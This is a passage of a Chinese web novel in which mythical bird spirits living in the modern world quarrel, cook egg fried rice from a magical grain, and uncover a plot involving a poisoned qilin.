这话简直炸了孔宣心窝了,他就是喜欢雄鸟! 雄鸟恋怎么了! 孔宣叉腰一脸“那咋了”,得意又张狂得不行,对跟不上时代的大风狠狠鄙视:“结了还能离,就你这样,把人救回来也迟早离婚。” “帮你?帮个鬼!我才不帮你。” 已经受到新时代熏陶的孔雀大王顿时觉得自己和大风这种旧时代的老古董无话可说,他一顿嫌弃,手一甩直接当起了甩手掌柜,不高兴地偏过脑袋。 “就你还好意思纠缠,本来凡人就活不久,很容易死的。你还强迫人家,人家把你反杀了,你凭借天道运势捡回一条命,就老老实实跑路吧。” 做雄鸟的不要太小气。 大风抢老婆被单杀了,在妖族中并不少见。 但本来鸟类之间求偶竞争就很激烈,雄鸟想要娶老婆,就得有本事,不是羽毛漂亮就是本事厉害,找伴侣时被单杀了算技不如人,好聚好散算了,还好意识纠缠人家? 这种鸟,孔雀大王看不起他。 孔宣忍不住甩脸子,嫌弃地歪过脑袋看陆压的脸洗洗眼睛,忍不住吐了吐舌头,做出一个想死的动作。 他哼哼两声,语气散漫极了:“你要我帮你,我最多给你灌一碗忘忧水。” “你要不自己回不周山啃点吧,丹雀在那里,你可以顺便找她看看自己还有没有其他问题。” 毕竟死而复生一次了,说不定脑子复活傻了呢。 反正除了忘忧草煮水,招魂通灵是别想了。 大风没有得到帮助,还被骂了一通,顿时气急败坏,手臂肌肉拉伸一瞬,气得直接站了起来,在原地直打转,脸上凶厉愤怒的表情像是一团火,凶戾戾地一拳砸在墙上。 顿时间,小楼晃了晃,墙面砸出一个大坑。 陆压皱起眉,沉冷的眼神落在大风身上。 他表情不悦,冷冷地凝视着这只口出狂言又无能狂怒的神鸟,语气逐渐冷冽起来:“你是来找麻烦的吗?” 大风懵了一瞬:“什么——” 就见陆压向前,如黑夜中的死神,走来的每一步距离几乎分毫不差,他指尖金光闪烁,沉沉威压轰然降落。 “我能动手吗?”陆压微微歪头,礼貌又克制地询问孔宣。 毕竟是孔宣的朋友。 孔宣也很生气,他正捏着拳头想上前,陆压抢先一步,高大的身影站在面前,披着一层黑暗,言语中的冷酷肃杀更令人怦然心动。 他顿时像小猫一样哼唧两声,攥起的拳头忍不住抵在了下巴,无声“哈”了一声。 孔宣矜持不到两秒,声音瞬间拔高,语气里的兴奋藏也藏不住! “给我往死里揍!!” 居然敢砸他的房子!他和陆压的窝! 揍死他! 孔宣攥着拳头,隔空对着大风一顿比划。 如果不是陆压抢先一步,他已经忍不住揍上去了。 陆压没了顾虑,上前就是梆梆两拳。 打鸟不需要动手段,他连狠话都不说,将妖力汇聚拳头,猛猛两拳犹如千钧力,狠狠砸在大风头上。 大风旧伤未愈,被揍了一开始还有点心虚,挨了两下后紧接着就开始红温狂暴,自己一股脑扑开始朝陆压挥拳。 他是越打越憋屈,仿佛要把所有的难过与怨恨都一并发泄出来。 然而没过几下,他直接被陆压打倒在地。 他被一拳打中,晕倒在地上,一双眼睛眼冒金花,仿佛天旋地转。 陆压低着头,像是前几天一箭把他射落时那样,冷淡地凝视着他,仿佛在凝视着一件器物,陌生凉薄到了极点。 大风被他看得心惊胆战,同时一点疑惑腾空升起,他突然有个震惊的想法:“你?” 陆压“嗯?”了一声,一把将他拎了起来,一米八几的大男人,在他手上跟破塑料袋似的。 他一手把大风推倒在墙上,摁着脸贴在深坑里,任凭大风怎么挣扎也纹丝不动。 “把它修好。” 陆压下了命令。 大风不停挣扎,手指在墙上乱刨一通,无力地蹬着地面,最终只能“嗬嗬”喘着粗气,一边胡乱点头。 陆压这才松手。 他不进不退,只是站在那里,眸中的凉薄冷冷扫向大风。 大风连头也不敢回,憋着一股气,顶着一张被墙蹭灰的脸,哼哧瘪肚地盯着被自己砸出来的拳头大小的坑。 “没工具老子怎么修!”他满腹怨气,半点不服气地跟陆压嚷嚷。 陆压只是冷冷地看着他。 最终大风扣了扣墙面,不情不愿地从口袋里翻出一把类似于稻米一样的麦穗:“赔你的。” 孔宣探过头,捏着手中看了看,挑起一边眉头面露惊讶:“九穗禾,你去见了丹雀?” 世间有不少宝贝可以通灵问鬼,可以死而复生、长生不死,这对于曾经的生灵来说并不是一个传说。 这是一个真实会发生的事情。 九穗禾就是其中之一。 曾经丹雀和神农一起游历四方寻找可以治病救人的草药,他们互为亲友,在漫长的岁月中有了非常深厚的友谊,她曾携来仙草,想要赐予神农长生。 但神农并没有眷恋长生,他将丹雀衔来的仙草栽到地上,经过凡土一次又一次地培育,逐渐变成了可以果腹的大米。 而没有种植在凡土上的最后一点九穗禾,恐怕只有丹雀那里才有了。 大风眉头打结,恶声恶气地说:“我要遇见她,我伤早好了。” 孔宣默默攥紧拳头:“你给我好好说话!” 太嚣张了!好想揍人! 陆压拦在孔宣面前,止住两个人互殴的想法,用眼神询问孔宣,这把草值不值。 “值死啦,吃了能长生!” 大风气得咬牙,要不是顾及孔宣在旁边看着,二打一他打不过,他恨不得骂陆压不识货。 大风不高兴,孔宣就笑了,他得意地朝他扬眉,脸上的表情嘚瑟极了。 他忍不住哼笑出声,拉着陆压的袖子欢快叭叭:“快快快,我们回去炒饭吃,馋死这没素质的雄鸟。” 饿死他! 大风:“你就会在金乌面前嘚瑟!” 50-60 第51章 第51章蛋炒九穗米2 “你有本事…… “你有本事, 你也嘚瑟。” 孔宣不以为耻反以为荣,歪过脑袋张扬地朝大风挑了挑眉。 他与大风吵吵闹闹,陆压被人推着,手上攥着一把九穗禾, 往厨房走的同时无声沉了眸色。 金乌……又是金乌…… 陆压手指一紧, 簌簌麦穗从手中滑落, 他眼神凉薄地盯着满桌子上的穗子,好半天才动手将穗子收捡进碗里。 没有脱壳的麦穗几乎不能吃, 陆压在厨房里翻了翻,翻出一个用来捣辣椒的研钵。 就这么一把米, 全部从九穗禾上摘下来,倒进里面用巧劲狠狠捣了几下,表皮的金壳与里面的米粒分离。 分离出来的九穗米两头纤细,整体像是能透光般晶莹剔透,对光时似乎有五色光芒在其中流转, 一粒一粒足有一节骨节那么长。 陆压从来没有做过这样的神仙食物,他沉思了一瞬, 按照煮饭的方式, 把米淘洗淘洗埋进电饭煲里蒸上四十分钟。 “……所以你就是不肯帮我。” “我不知道要怎么帮你,你自己异想天开, 给我出难题, 我又不是你爹还给你收拾烂摊子。” “你——” …… 陆压出门的脚步一顿,他歪过头, 视线精准捕捉到孔宣的身影。 孔宣与大风跑到后院的桃树下,正在争论之前的话题。 他叉着腰,满脸不赞同地歪头歪脑,一句话都懒得和这种傻鸟多说。 “总之, 我是开餐厅做生意没错,可不是什么都干的,你这种要求还是自己想想办法吧。” 孔宣说完把手一甩,拉着陆压的胳膊拦在自己面前,彻底厌烦了喋喋不休的大风。 他举起拳头,恐吓般挥了挥:“你再纠缠,我可没有这么好脾气了!” 好脾气?大风简直气笑了。 他低声怒喝:“你不帮我,有的是人帮我!” “那就让我看看谁会帮你吧!” 孔宣面露厌烦,恶狠狠地和大风互放狠话,一脸凶恶地竖起中指,狠狠比划了个口型“傻哔”。 大风气得要死,赌气地拍拍翅膀瞬间化作一场狂风,呼啸着消失不见。 小院不见他的身影,满树桃叶哗啦啦落了一地。 孔宣平时对这棵桃树很喜欢,是他的一个自助餐点,经常坐上面偷偷啃两颗鸟粮。 现在桃树被大风刮得七零八落,三片叶子掉了两片,顿时气炸了:“没素质的坏鸟!” 他的桃树! 孔宣挥舞着拳头气得嗷嗷叫,差点就追上去给鸟一顿暴打。 陆压紧急抱住腰拖住了,猛猛挣扎的孔雀大王非常有劲,狠狠推搡了他几下,差一点点就飞上天空一个劲冲向月球,打得大风满脸桃花开。 孔宣的拳头一顿挥舞,最终气鼓鼓地停下动作,不舒服地按着男人的胳膊扭了扭,脚在空中蹬了蹬:“把我放下来!” “大王还生气吗?”陆压低声问。 他的手臂稍微松了松,手指摩挲着在腰侧厮/磨,似乎在衡量孔宣的意图。 孔宣气死,鼓了鼓腮帮子一脸不忿:“你拦我干什么?这种坏鸟就是要被狠狠教训!” 需要受到孔雀大王正义铁拳的制裁。 陆压无声松开手臂,他歪过脑袋,近距离地观察孔宣脸上的表情。 孔宣表情生动,生气是生气,开心是开心,从来没有掩饰,此刻眸中火光憧憧,更是亮眼又火热。 张牙舞爪,十分漂亮。 莫名被人掐了一把腮帮子,正生气的孔宣立刻转过脑袋,凶巴巴地怒视陆压。 陆压罪恶的手还按在孔宣的脸上,他低声说:“大王,下次再教训他吧。” 别追上去了。 陆压的目光中透出一点情绪,他不可避免地想到了大风口中的金乌。 他太在意了。 陆压神色郁郁,一张漂亮的脸赫然在眼前放大,他瞳孔震颤,孔宣歪着脑袋,似乎打量他。 漂亮的眼睛上下扫了扫,突然弯起眼睛,孔宣语气笃定:“你怕我跑了。” 陆压突然哑言。 束缚孔宣的手臂彻底松懈离开,孔宣反而主动贴了上去,他与陆压离得很近,近到只要稍微往前一点,就能捕捉到彼此的呼吸。 他背着手,矜持地弯起唇角,忍不住掂了掂脚尖,似乎感到得意又快乐。 “鸦,你喜欢我?” 孔宣歪过脑袋,浓黑的长发如瀑布一般披散在他肩膀,他目光盈盈,悄无声息地翘起唇角。 他几乎笃定,乃至说话的语气都忍不住上挑几分,泄露出几分怪异的兴奋。 陆压很淡定地说:“谁都喜欢你,大王。” 他按住孔宣逐渐靠近的肩膀,礼貌地往后推了推,推到安全的距离。 然而,孔雀大王似乎无处不在。 他将孔宣推开,视线却情不自禁地落在他的身上,看他脸上的神态、看他微微鼓起来的腮帮子…… 那双漂亮的唇此刻正弯起,正笑得十分好看。 “是这样吗?”孔宣歪过头,状似思考地点了点下巴。 他面露好奇,好奇之下却满是狡黠的神情。 他实在太聪明了,任何事情都瞒不过他的眼睛。 他聪明又明媚,以至于陆压现在甚至不敢多看他一眼,只能将目光落在他的眉心,才能维持住脸上的镇定。 只是落在眉心,他又忍不住去看他灵动的眉头,他的五官似乎会说话,一举一动都透着令人喜欢的活泼。 于是陆压自欺欺人的目光又落在了孔宣脸上。 这么自欺欺人的说法,对于孔宣来说不足以取信,但他似乎信了,玩味地“唔”了一声,随着眼尾敛起几分调笑的弧度。 他的手指顺着陆压的下巴慢条斯理地滑到了脖颈,贴着不断滚动的喉结,漫不经心地勾住他的领子。 “鸦。”孔宣手上用力,一把将陆压拉向自己,他偏过头,在陆压耳边调笑低语:“不坦诚一点,可不是好孩子哦~” 好孩子就算骗人,也显得那么笨拙。 孔宣眨了眨眼,手上松开陆压的领子,又将他一把推了回去。 陆压神色怔怔,表面的冷淡似乎有一瞬间的碎裂。 他歪过脑袋,直到孔宣进去小楼,彻底消失在陆压的视线。 陆压摩挲着被刮蹭过的下颚,低声呢喃:“坦诚?” 就怕是我欲壑难填,彻底不肯放手。 他眸中昏暗难辨,唯有一丝压抑不住的占/有/欲悄然泄露片刻。 孔宣不知道自己肆意招惹会是什么下场,或许他根本就不在意。 他蹲着身趴在桌子上,眼睛盯着电饭煲上的数字,跟着一跳一跳地点头,孩子气地闻嗅着空气中的米香,香得整个人都迷瞪了。 孔宣想吃什么从来等不到第二天,他巴巴地等在电饭煲前,等着自己的米饭成熟。 陆压走过去,手掌轻轻从他头顶蹭过:“明天吃行不行?大王可以先去睡一觉。” “炒饭要用隔夜的比较好吃。” 什么隔夜不隔夜的。 这在孔雀大王这里,根本没有这个说法! 孔宣大王张牙舞爪,凶巴巴地朝陆压龇牙:“不许不许!现在就要吃!” 大王想要,大王得到! 他举起拳头,一边控诉一边挥舞,以示自己必须要吃到的决心。 陆压顿时:“……” 好吧,大王是只小馋鸟。 陆压没有办法,只好搬着凳子,让大王坐在凳子上等。 他从冰箱里拿出两枚鸡蛋,葱花、胡萝卜和一些青豆。 时间到了,电饭煲跳了火,孔宣手指按在出口按键上,像是调皮的小鸟,满脸好奇地时不时按一下,被喷出来的热气扑了满脸,顿时害怕地闪躲一瞬,满脸狼狈地扁扁嘴巴。 他视线飘移,偷偷跟着陆压走来走去,悄悄吸了一口空气中淡淡的米香。 九穗禾种植在灵土里,内里灵气充足,米香浓郁,被蒸熟后更是香得不得了,大米的清香扑面散开,足以令任何一个大米爱好者神魂颠倒。 孔宣急不可耐,立刻娇气地命令:“我的米!” 他催着陆压快打开,眼睛直勾勾地盯着陆压的动作,陆压稍微慢一点他顿时扁起嘴巴。 在孔雀大王的监督下,陆压快速地将米饭盛出,放在盘子里晾凉。 为了让米饭到达最佳时机,陆压用了点办法,用勺子把米饭压散,感觉到米饭松散晾凉后他就开始下一步。 先把香肠、胡萝卜切成小粒,柿子椒切碎点缀辣味,和葱花青豆放在一起备用。 把鸡蛋打入小盆搅散,鸡蛋冒泡黏稠之后倒入米饭,把米饭和鸡蛋搅和在一起,搅拌均匀。 到这一步,陆压的食材准备算彻底做好了。 他起锅烧水,稍微煮一下香肠去掉盐分,再把锅烧热,加入油润锅下入香肠丁,炒出香味之后再倒入蛋液,在锅中炒出金黄色的鸡蛋花,下入葱丁、胡萝卜和青豆,再倒入米饭翻炒。 陆压刻意调了小火,让米饭完整地铺满锅底,用勺子慢慢炒制,再加入辣椒和盐调味,加入生抽炒出酱香。 只是稍微翻炒,米饭粒粒裹满金黄的蛋液,香味四溢咸香,像是有一把小勾子不住地在人鼻尖涌动勾缠。 漂亮的葱花往上面一点缀,金黄与青红交错,粒粒分明的米饭堆砌在一起,像是一座令人眼馋的金山,勾得人食指大动。 孔宣是一秒都等不下去了,他深深吸了一口气,勺子已经自动到了他的手上。 大厨陆压稍微翻炒一下,出锅装盘,漂亮的黄金米饭盛在白瓷盘子上,显得格外漂亮诱人。 孔宣挥舞着勺子第一时间到达现场,他早已做好准备,陆压把盘子刚放下,他立刻挥舞着勺子,猛猛吃上一口! 一口炒饭还散着锅中的热气,烫得人恨不得原地起跳,热度在舌尖不停翻滚,美味的香气也不停在味蕾上蹦跶。 孔宣根本不怕烫,或者说是美味遮掩了这点不合时宜的温度,他把米饭塞入口中,顿时满脸幸福地眯起眼睛。 “唔唔唔!”超级好吃的! 他一边“唔唔”惊叹,一边挥舞着勺子,从漂亮的炒饭大山里挖起一勺塞进陆压嘴里。 陆压怔了一下,架不住他眼神示意,没躲过只好张口吃了下去。 他以为自己会被烫到,但很惊讶的是,在被烫到之前,他最先品尝到的是食材本身的风味。 鸡蛋与青豆胡萝卜炒成一盘,各有各的特色,九穗米自身浓郁的米香在口中抿碎,淀粉的甜香与炒饭的酱香混杂在一起。 保持自身原味的同时很好地和其他几种食材交融到一起,变得美味异常。 确实超级好吃! 陆压面露惊讶,孔宣顿时得意地扬起眉头。一边往嘴里送饭,一边不忘往陆压嘴里也塞两口。 一叠蛋炒饭,被他们一人一口抿得干干净净。 勺子刮过最后一口米饭,干干净净地打扫进嘴里,孔宣用力抿了抿勺子,弯起唇角露出愉悦的表情。 “好吃。” “好吃……”陆压注视着他弯起的唇角,手指动了动,没忍住伸手擦过他嘴角的油花。 漂亮的唇染上水色,只觉得色艳桃李,诱人至极。 被那双漂亮的凤眸盯上,陆压才恍若初醒,面色镇定地收回手:“下次我们找丹雀要一点回来煮。” 他说话坦然,只是藏在桌下的手忍不住蜷了蜷。 孔宣哼了一声,小声嘀咕:“丹雀才不肯给呢。” 九穗禾是由灵土种植,日日浇灌灵水,一旦换成了凡土凡水,就只会变成普普通通的大米而已。 种这么一把费劲死了。 丹雀手里的九穗禾恐怕也不多了…… 孔宣突然神情一怔。 “怎么了?”陆压疑惑。 就见孔宣缓缓抬头,疑惑地望着他:“丹雀……是最近才苏醒的,她沉睡千年,哪里来的这么多新鲜成熟的九穗禾?” 大风见的不是丹雀,那他见的是谁? 丹雀濒死失踪一千多年,还有谁手里能有这么多九穗禾? 或者,大风口中说的“你不帮我有的是人帮我”到底是指谁? 孔宣脸上的神情微微变化,手中的勺子重重磕在瓷盘上,他面色阴沉,颇有种风雨欲来之势。 “哪个蠢货会管大风这点破事?” 除非,有利可图。 陆压收拾桌子,他从孔宣身边走过,垂眸思考过后问他:“你很在意他的事吗?大王。” “大风那个傻哔——”孔宣有一瞬间想骂鸟,他脸色不好看,胡乱地摇了摇头。 “就算不是我,是别人也会关心他的,这是规矩。” 神兽往往是原初就存在的生灵,他们数量稀少孤身只影,规定彼此之间不能相互搏杀,而鸟类神兽更是以家族式抱团在一起彼此守望。 因为抱团的原因,每一个家族成员都是非常珍贵的存在。 就像丹雀救助金鹏,孔宣救助大风,家族规矩,家族成员遇难只要有余力一定要互相帮扶。 是以,尽管大风就是个没脑子的莽夫,孔宣在最开始也是真的想帮助他。 这是他们的坚持。 大风心心念念想要复活自己抢来的老婆,可千年前的人早就投胎转世不知道多少次了,就算通灵还魂,找回来的就真的是原来那一个吗? 孔宣越想越不对劲,他掏出手机,重重地在群里把大风的事打上去了。 正要一口气发出时,一只手遮住了屏幕。 孔宣抬起头,陆压探头过来,阴霾顺着发丝散落在他的眉眼,他眼眸深沉,定定地望着孔宣。 “大王,我有个问题。” 孔宣甩甩手:“说。” “就算是家族式抱团,也会有自己的小心思,你能确定群里上下一条心吗?” 陆压神色专注,从孔宣的表情中看出什么,他语气笃定:“你不能。” 是的,孔宣不能。 正如陆压所说,鸟类神兽以家族式抱团,他们不会主动杀害家族成员,甚至会主动帮扶。 但这并不代表上下一条心。 孔宣知道陆压的意思,眉心皱起两个小尖角:“你是觉得他们不一定是什么立场,最好别说?” 陆压不置可否:“我只是觉得,能被大风信任的,应该是熟人吧。” 确实。 孔宣低下头,一字一字地把原来的话删掉。 他低着头,神色晦暗不明:“陆鸦鸦,那你又是什么立场呢?” 孔宣歪过脑袋,凤眸紧紧盯着对方。 他似乎真的要追问个所以然来,眸色极为认真,连一贯带笑的表情都收敛了许多。 陆压顿了一下:“我……我觉得维持现状就不错。” 妖族有自己的生存空间,人类也有自己的生存空间,彼此关联又彼此平行,不压迫不歧视正正常常生活吧。 只是很可惜,很多人很多妖不这样想。 孔宣“噗嗤”一声笑了出来,他脸色阴霾尽散,露出明媚的表情,扬起眉头调笑:“你这愿望也太贪心了吧,又要和平又要不压迫,哪有怎么好的事啊。” 他笑得十分好看,轻松又自在,随意地朝陆压眨了眨眼,眼睛里似有星光闪烁。 陆压也忍不住失笑:“真的很空泛吗?我觉得还是个不错的愿望。” “唔。”孔宣仔细想了想,一本正经点头赞同:“确实是很不错的愿望。” 他歪过脑袋,亲昵地靠在陆压肩膀上,下巴垫在他的肩上,白嫩嫩的侧脸和陆压贴在一起,他离得很近,脸上的笑容也很松快。 “这样就很好,这个愿望我很满意。”他满意地直点头,手圈在陆压身上,撒娇般埋着脑袋用力蹭了蹭,扬起头时,眼睛格外明亮。 “我很高兴。” 世界和平好,世界和平好啊! 听起来就很不容易死。 孔宣双眼晶亮,脸上的开心遮也遮不住,似乎浑身上下都因为这句话冒出了一连串的小花花。 他脚步轻快,走出几步还忍不住转过头,用眼睛、用勾起的唇角,勾得陆压的眼神忍不住跟着他一起走。 大风这件事就在他们这里轻松过去,没有人再有心思想他的那点破事了。 深夜,巨大的黑影掠过天空,它翅膀扇动,一瞬间裹挟着狂风与乌云飘然飞向高空,极速在某座深山停驻。 “你还是回来了。”有一个声音在山林中出现。 大风狠狠拧着眉头,凶厉的目光转向侧方,布满妖异的眼睛转动着,直直地将黑暗中的人影捕捉。 “给你,可以让你伤势恢复的药。” 一个小药瓶落在大风的手上,大风扒开封口嗅了嗅,仰头一股脑地喝了下去。 一对翅膀赫然在他背后张开,几乎遮天蔽日,势要将天地都压折。 巨翅颤了颤,不过几分钟,他身上被金羽贯穿的伤口彻底消失,只剩下一片狰狞的血痕。 “从丹雀那里拿来的吧,老子一闻就知道了,少往自己身上居功。”他眉头紧皱,不耐烦地呵斥一声,恶声恶气地甩过脑袋:“别说那么多,你到底能不能帮我。” “呵呵,你何必这么着急呢?” 那个声音呵呵笑了几声,似乎感觉到大风的不耐烦,他主动朝前走了几步,依旧躲藏在黑暗中,神色晦暗不明,轻柔阴沉的嗓音像是在黑暗中嘶嘶吐信的毒蛇,无声缠绕住致命的要害。 “我说什么来着,你找孔雀是没用的,他有天大的本事都不愿意帮你,最终还不是我……” “嘿,你小子少拉踩人啊!”大风听不下去了,恨恨地点了点他。 那人的表情一瞬间扭曲起来,低沉的嗓音越发扭曲阴鸷,透着隐隐的疯狂:“……凭什么,凭什么你们总要护着他!明明他什么都不肯帮你!” “那他也比你好。” 大风掏了掏耳朵,忍不住翻了个白眼,咧嘴笑了起来:“少扯那些没用的,我帮你干活,你帮我做事,各取所需一拍两散。” “……” 那人扭曲了表情,良久才发出嘶哑阴鸷的冷笑:“呵呵,好好好,你放心,你只要帮我做事,等我大业一成,我们什么东西得不到?你想要什么我不能给你?” 他朝大风招手,声音变得缥缈又含糊,透着隐隐约约的蛊惑:“来,我告诉你。” 大风侧耳倾听,只听他幽幽吐息,冰冷的气息死死缠住了他的脖子。 “你去帮我杀了祂,然后带回给我。” “我就给你想要的。” 第52章 第52章蛋炒九穗米3 “孔宣…… “孔宣!” 一大早上, 咋咋呼呼的叫喊声在小楼外响起,中气十足的声音连枝头的小鸟都站立不住,拍打着翅膀惊飞出去。 孔宣凌乱着长发,毛毛躁躁地拧着眉头, 从楼上往下一望, 顿时挑起眉:“重明?” 重明穿着利索的短裤背心, 外面套着一件冲锋衣,踩着铆钉靴, 整个人干练又利索,身上沾带着泥巴, 提着一个袋子像是干下工回家,赶早就来了孔宣这。 陆压开门把她迎进来,重明随手将手上的袋子塞进他的怀里。 袋子里有什么东西跳动,一放手顿时挣扎起来,冒出半截鱼尾巴, 扑腾着从袋子口往外跳。 陆压一把抓住,拉开袋子, 才发现是一条带着泥巴的草鱼。 “哝, 我自己钓的,给你们加个餐。” 重明甩了甩手上的水珠, 看到楼梯口孔宣的身影, 顿时眼睛一亮,三两步冲上前, 一把抓住他。 “喂,你在群里发的那把九穗禾还在吗?我要了。” 孔宣垂着眼睛,眉眼困倦,反应了一会儿才散漫的拖长声音:“你说那个啊——” “没有米诶, 都被我吃掉了。”他揉了揉眼睛,脑袋一歪,懒洋洋地靠在走过来的陆压肩膀上,柔软的腮帮子陷下去一块,他闭着眼打了个盹,差点又要睡晕过去了。 为了昨晚那一口蛋炒九穗米,孔宣可是活活等到了一点。 重明一大早上上门,天才亮了没多久,见不到几片云彩,只能看见清白的天空被太阳照亮,朦朦胧胧地飘着几片薄雾。 这可让孔雀大王深恶痛绝,最讨厌这种打扰人睡觉的鸟了! 坏鸟! 孔宣闭着眼睛,狠狠咬了一口递到嘴边的米糕。 米糕微酸,带着淀粉的甜味,混杂了一点蔓越莓。 孔宣稀里糊涂咬了一口,顿时弯起唇角,腮帮子动了动,露出愉快的表情。 “好吃。” 从摊倒到满血复活,只投喂了一块米糕。 重明锐利的眼睛从孔宣看到陆压,再从陆压看到孔宣,她摸摸下巴,眼神逐渐深长起来。 她一把揽住孔宣的肩膀,大姐大似地拍拍胸脯,示意般冲孔宣挑眉:“把你那把九穗禾给我,我就不跟群里八卦你。” 这群神鸟最喜欢的就是在群里聊八卦,什么炸裂的消息都敢聊。 陆压潜进里面,短短一段时间已经把妖管局现在什么情况摸得一清二楚。 重明保证不八卦孔宣的感情生活,那是真的背叛了群里大家的革命友谊。 她拍着胸脯保证,孔宣掰着米糕,漫不经心地哼唧:“我又不怕你……” 他嘴上这么说,眼睛转向重明,重明朝他眨了眨眼,脸上的表情很是真诚。 “你要那把草干嘛?”孔宣问。 重明思考了一会:“告诉你也没什么,我最近救助了一只神兽。” “就、你懂的。”她支吾一会儿,遮遮掩掩的实在不是她的做派,她藏不下去了,一口气把话说完了:“那家伙你也认识,是一只麒麟。” “那只麒麟不知道被谁攻击了,大半夜从天而降把我屋顶都给砸了,现在意识昏昏沉沉地还发着烧,看起来要死了,我寻思着给他喂点灵草什么的,好歹撑一撑。” “喂点灵草管用吗?”孔宣一边嚼米糕一边发问。 重明沉思:“应该行吧?那不然还能拉医院去?” 孔宣嚼嚼嚼:“说不定真的可以呢,现在人类不是说我们是第57个民族了吗?” “哈,人类说的鬼话你真信?我敢拉过去,下一秒就给他解剖了。” …… 两个人你一言我一语,陆压淡淡开口:“为什么不求助妖管局?” “妖管局再混乱,一只神兽,还是一只麒麟,总会收治的吧?”他转过头,眼眸深邃淡漠,更显露出几分凉薄之色。 重明忍不住翻了一个白眼:“说得很好,下次别说了,那老家伙就他妈是个黑户!” 要是能到妖管局收治,重明早把这个烫手山芋丢出去了。 毕竟重明自己就在妖管局工作过,虽然因为一些内部原因已经离职了。 听到是黑户,孔宣来了兴趣:“什么情况?” 他脑子里想了一圈麒麟人选,想来想去根本就没几只麒麟,他突然挑起眉头:“我认识的麒麟……哪一个?” 看重明表情,孔宣瞬间了悟:“死掉的那个?” 重明是庇佑一方的神鸟,与孔雀金乌之类对人类敬而远之的存在不同,她曾长久地与人类纠缠在一起。 她会在遇到危险时拔下自己的羽毛庇护一方,也会捡拾被遗弃的孩童送养到新家庭,她性格大大咧咧,却有菩萨一般的心肠。 她曾是人类的保护神,也曾为了朋友两肋插刀。 重明捋了头发,忍不住叹气:“再次遇到他我还挺意外的,当年我与他为了保卫一座城的百姓,在城外独战群妖,那个时候我就在想,这兄弟真牛掰,等打完了我一定要去结识一下。” 只可惜没有这个机会。 麒麟并不是擅长战斗的神兽,他们性格温和,热衷于跟随有德行的人类,帮助他们完成大业。 很多时候他们只是一个象征,一个符号。 当年他们在一座小城偶遇,小城饱受妖魔作乱之苦,逼迫他们日日献祭童男童女,吃光了七岁以下的孩子,就吃八岁、九岁…… 整座城的百姓被妖魔圈养,只能麻木又痛苦地不断献出孩子。 重明当年意气风发,听到这件事顿时怒上心头,发誓要把那群妖魔全部铲除了。 他们在城外战了三天三夜,无数妖魔的尸骸铺了满地,重明战到力竭,却恣意大笑,她直呼痛快,一巴掌拍到麒麟战友的身上。 “好家伙,我以前怎么没发现你这么能打,晚上一起喝酒啊!城里有人送了我一坛顶好的女儿红,保证你喝了还想喝……喂喂!你怎么了?振作一点喂!” 浑身染血的麒麟在重明眼前轰然倒下,重明这才发现,这只麒麟已经被妖魔啃得遍体鳞伤,完全靠着一股狠劲冲到现在。 他早已失神丢魂,浑身血液流落干净,摔进一片污浊中,只有一双眼睛还眺望着远方逐渐清明的天空。 晨曦的光照落在他的身上,却照不暖他满身血液。 然后,曾经死去的战友就这么水灵灵地在一天晚上砸破她家屋顶,直接砸到她的身上,差点没把重明砸窒息了。 最重要的恐怕不是这个。 孔宣扬眉:“他身上的伤有问题?” “不愧是你。”重明打了个响指。 “黑户白户好歹还能找医生,他伤口带毒昏迷不醒,我怕冒冒然给他找医生会害了他。” 重明心知现在大家都很浮躁,无论是妖族还是人族情绪跟炸药桶一样,也不知道他们到底想达到怎么样的目的。 不过这些都跟重明没有关系,她从以前到现在,最想做的也只是保护自己想保护的而已。 “那你来找我,不怕我也有问题?”孔宣漫不经心地往嘴里塞了瓣米糕,自顾自地弯起唇角。 重明的胳膊还搭在他的肩膀上,她歪过脑袋,看着孔宣线条白净的侧脸,猝然哈哈大笑。 “你?哈哈哈——” 她笑得前仰后合,笑过之后对着孔宣认真地说:“你不会管那些闲事的。孔宣,有没有人和你说过,你其实和金乌很像,都觉得这世间的一切与自己无关。和平也好,混乱也好,你自持羽毛,不会为了利益下场。” “如果有天你站了哪一方,那就是我看错你了。” 孔宣忍不住勾起唇角:“那你可真是了解我。” 旋即他又说:“不过,你可一点都不了解金乌。” 他神色微暗,忍不住冷笑讥讽出声。 重明对此只是挑了下眉:“好歹他是为了救世而死。” 孔宣从不搭这种话,他翻出昨天收拾起来的九穗禾,递给重明后,他面露思索。 “你只要这个就可以吗?” 重明“嗯”了一声,想到什么眼神飘忽一瞬:“如果过几天还不行,我只能去找丹雀了。” 丹雀在不周山,那么大的不周山,她蛰伏起来养伤,不知道要找到什么时候。 一直旁听的陆压思索片刻:“方便的话,我陪你去看看。” 这话可让两个人感到意外。 孔宣下意识歪过脑袋,满脸困惑地看着他。 “鸦,你什么时候还会治伤了?” “不是治伤。”陆压简单解释一句,他转头看向重明:“可以吗?解毒方面,我应该有点心得。” 他语气淡淡,不轻不重的询问并不强烈。 可以去也可以不去。 重明在妖管局的时候听说过陆压,她不由凝思皱眉:“我听说过,听说你在清扫组的战绩很强,解毒……我没听说过。” 重明出于谨慎,并没有爽快答应。 陆压只是随意一点头,将重明送出去。 陆压回来的时候,孔宣坐在柜台后的椅子上,他翘着椅子,双腿抬着往后仰着脑袋,用一种极其古怪危险的姿势在空中摇晃。 “陆鸦鸦,你什么时候会解毒了?” 孔宣视线偏转,眼睛清凌凌地落在陆压身上。 他不免觉得怪异与新奇,毕竟解毒?从没有听说过。 陆压语气淡淡:“在妖管局发现的。” 他言辞闪烁不清,孔宣立刻扶正身体,一把钳制住男人的下颚让他看向自己。 孔宣眼神锐利,一只手比成八字卡在下颚上,锐利的眼神绽放光彩,几乎要将他上上下下都看遍了。 “怎么发现的?” 孔雀大王实在聪明,陆压挡不住他探寻的目光,他停顿了一下,才说:“之前在妖管局……” “因为血脉特殊的原因,局里试图用灵物唤醒我体内的血脉,不过事实上并没有作用,但也不是什么作用都没有,我的血解毒会有奇效。” 毕竟喂了那么多天材地宝,如果起不到一点作用才是白费了。 陆压对此并没有什么感觉,毕竟妖管局也没有无休止地向他榨血,都是很正常的献血频率。 但只是听陆压这么一说,孔宣顿时气炸了。 他气呼呼地恨不得杀进妖管局,把那些欺负人的家伙都杀了。 “啊啊啊!”孔雀大王在空中一顿扑腾打拳,气呼呼地一把掰过陆压的脑袋,让他看着自己。 陆压不看,他还把人的脑袋眼皮扒拉过来,非要人看着自己。 “听着,陆鸦鸦!不许用自己的血给别人解毒!” “大王……”陆压试图辩解。 但不讲道理的孔雀大王猛猛摇头,一连串地高声大喊:“你又不是草药成精,怎么可能解毒?反正我不许,不许不许不许!” 就是不可以! 怎么可以这样,又是孤儿又是被喂药还要当工具给人做事! 